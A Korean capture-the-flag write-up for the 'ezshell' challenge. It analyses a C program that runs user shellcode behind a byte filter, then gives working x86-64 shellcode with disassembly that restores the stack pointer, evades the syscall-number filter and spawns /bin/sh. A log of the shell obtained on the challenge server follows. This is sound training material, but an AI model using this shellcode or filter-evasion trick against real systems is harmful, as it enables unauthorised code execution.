본문으로 바로가기

Analysis

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void Init(void)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
Init();

char result[100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB\x48\x31\xC9\x48\x31\xD2\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF";
char shellcode[30];
char filter[4] = {'\xb0', '\x3b', '\x0f', '\x05'};

read(0, shellcode, 30);


for (int i = 0; i <= 3; i ++)
{
if (strchr(shellcode, filter[i]))
{
puts("filtering :)");
exit(1);
}
}

for (int i = 0; i < 30; i++)
{
if (!shellcode[i])
{
puts("null :)");
exit(1);
}
}

strcat(result, shellcode);
(*(void (*)()) result + 2)();
}

위와같은 코드와 바이너리를 준다!

쉘코드를 집어넣으면 해당 쉘코드를 실행시켜주는 프로그램이다.

우리가 봐야할 부분은 크게 두가지이다.

char filter[4] = {'\xb0', '\x3b', '\x0f', '\x05'};

첫번째로 필터이다.

일단 syscall이랑 execve함수의 syscall number인 0x3b를 막아주었다.

0xb0은 뭐였는지 기억이 안난다 ㅎㅎ.

char result[100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB\x48\x31\xC9\x48\x31\xD2\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF";

그리고 두번째로 쉘코드를 실행시키기 전에 설정해주는 부분이다.

이건 모든 레지스터를 0으로 설정시켜주는 부분인데, 문제는 rsp도 0이 되서 pop, push를 못쓴다.

마지막으로, char result[100] 부분 앞 2바이트를 보자.

"\x0f\x05" 가 있다.

syscall이당. 우왕.

이정도면 분석은 끝났당.


Exploit

0:  64 48 8b 23             mov    rsp,QWORD PTR fs:[rbx]
4: 48 bb 2f 62 69 6e 2f   movabs rbx,0x68732f2f6e69622f
b: 2f 73 68
e: 53                     push   rbx
f: 54                     push   rsp
10: 5f                     pop    rdi
11: 6a 3a                   push   0x3a
13: 58                     pop    rax
14: 48 ff c0               inc    rax
17: e9 b2 ff ff ff         jmp   0xffffffffffffffce

일단 쉘코딩은 이렇게 했다.

0:  64 48 8b 23             mov    rsp,QWORD PTR fs:[rbx]

이건 0으로 셋팅된 rsp에다가 스택의 값을 할당해주어서 push pop할수있게 해주는 부분이다.

4:  48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
b: 2f 73 68
e: 53                     push   rbx
f: 54                     push   rsp
10: 5f                     pop    rdi

요건 rbx에다가 /bin/sh 넣어놓고 rdi에다가 /bin/sh의 문자열 주소 옮겨주는 부분이당.

rdi에는 /bin/sh문자열 그 자체가 아니라 /bin/sh가 들어있는 주소가 와야한다.

따라서 포인터인 rsp를 push하고, pop rdi해서 rdi에 /bin/sh의 주소를 넣어준다.

11: 6a 3a                   push   0x3a
13: 58                     pop    rax
14: 48 ff c0               inc    rax

위에서 말했던것처럼 0x3b번 syscall은 필터링 되어있다.

그래서 0x3a값을 넣어놓고 pop rax해서 rax에다가 0x3a넣어놓고, inc로 1증가시키는 방법을 썼당.

17: e9 b2 ff ff ff          jmp    0xffffffffffffffce

그리고 이부분은 바로 result 앞에 syscall로 뛰는 부분이다.

근데 jmp인스트럭션 설명을 기가막히게 해주신 분이 계신다.


https://umbum.tistory.com/102

이 분 블로그를 참고하면 도움이 될 것 같다.


Flag

juntae@ubuntu:~/wargame/hackCTF/ezshell$ p ex.py 
[+] Opening connection to ctf.j0n9hyun.xyz on port 3036: Done
[*] len : 28
[*] shellcode : dH\x8b#H\xbb/bin//shST_j:XH\xffi\xb2\xff\xff\xff
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
flag
main
$ cat flag
ㅎㅇㅎㅇㅎㅇㅎㅇㅎㅇㅎㅇㅎㅇㅎㅇㅎㅇㅎ
$

뿅!